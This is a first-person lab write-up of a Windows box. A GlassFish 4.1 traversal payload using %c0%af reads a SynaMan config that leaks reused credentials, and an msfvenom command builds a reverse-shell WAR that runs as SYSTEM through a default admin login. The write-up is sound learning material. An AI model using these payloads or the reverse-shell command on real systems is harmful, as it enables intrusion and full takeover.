Fish · windows · – views
Fish: a GlassFish traversal that reads its way in, then a WAR to SYSTEM
This is a standalone Windows box, no domain, but it's a good one because the whole path is about reading the right files and then abusing a service that runs too high. A path traversal in an old GlassFish server lets me read any file on disk. One of those files leaks a password. That password gets me in over RDP. And because the GlassFish service itself runs as SYSTEM, I hand it a malicious app and it runs my code as SYSTEM. Clean start to finish.
What's running
The scan showed a busy Windows host: RDP, a GlassFish 4.1 admin console on 4848, a SynaMan file manager on 6060, and a couple of GlassFish web ports. An old GlassFish version is worth checking straight away, and this one was vulnerable.
GlassFish path traversal
GlassFish 4.1 has a directory traversal bug in its /theme/META-INF/
path. The trick is that it validates against normal ../
sequences, but you can slip past the check using an overlong UTF-8 encoding of
the slash, %c0%af, which the server still decodes as a path
separator. No login needed. That means I can read any file on the box:
/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
That returned win.ini, so the read worked. From there it's a
hunt: which files on this box hold something useful?
Reading creds out of a config file
The SynaMan file manager was also on the box, and that software is known to
store its SMTP password in cleartext in its config. So I used the traversal
to read SynaMan's AppConfig.xml:
/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%afSynaMan/config/AppConfig.xml
And there it was, a username and password sitting in the XML in the clear:
smtpUser: arthur smtpPassword: KingOfAtlantis
A password stored for email, reused for the actual Windows account. That's a common real-world mistake, and it's exactly what made this box solvable.
Getting a foothold over RDP
I checked the credentials against SMB and they were valid for the user
arthur. WinRM wasn't available, but RDP was open, so I logged in
to a full desktop as arthur and grabbed the user flag. Foothold done.
The service that runs as SYSTEM
Now for root. I looked at what services were running and how, and the GlassFish service stood out, it runs as LocalSystem (SYSTEM). That's the key fact. GlassFish is an application server: its whole job is to run web apps you deploy to it. If the service runs as SYSTEM, then any app I deploy runs as SYSTEM too.
So the plan is simple: build a small malicious web app (a WAR file with a
reverse shell), and deploy it through the GlassFish admin console. The admin
console still had default credentials (admin:admin), so I was
already able to log in.
# build a WAR with a reverse shell payload msfvenom -p java/jsp_shell_reverse_tcp LHOST=<me> LPORT=5555 -f war -o pwn.war
I copied the WAR onto the box (I already had an RDP session as arthur), deployed it through the admin console's Applications page, started a listener, and hit the app's URL to trigger it. The shell came back running as SYSTEM, and the proof flag was in the Administrator's desktop.
The chain, in one line
A GlassFish traversal reads a config file, the config leaks a reused password, the password gets RDP access, and because GlassFish runs as SYSTEM, deploying a WAR to it runs my shell as SYSTEM.
What I took from it
Two things. First, when you find a file-read bug, the win is usually not the obvious file, it's a config belonging to some other app on the box. Here the GlassFish bug read SynaMan's config, and that's what leaked the password. Look sideways. Second, always check what a service runs as. An app server running as SYSTEM turns "I can deploy an app" into "I can run code as SYSTEM", and that's a straight line from a default admin login to full control. Default creds plus an over-privileged service is a combination you see in real environments, not just labs.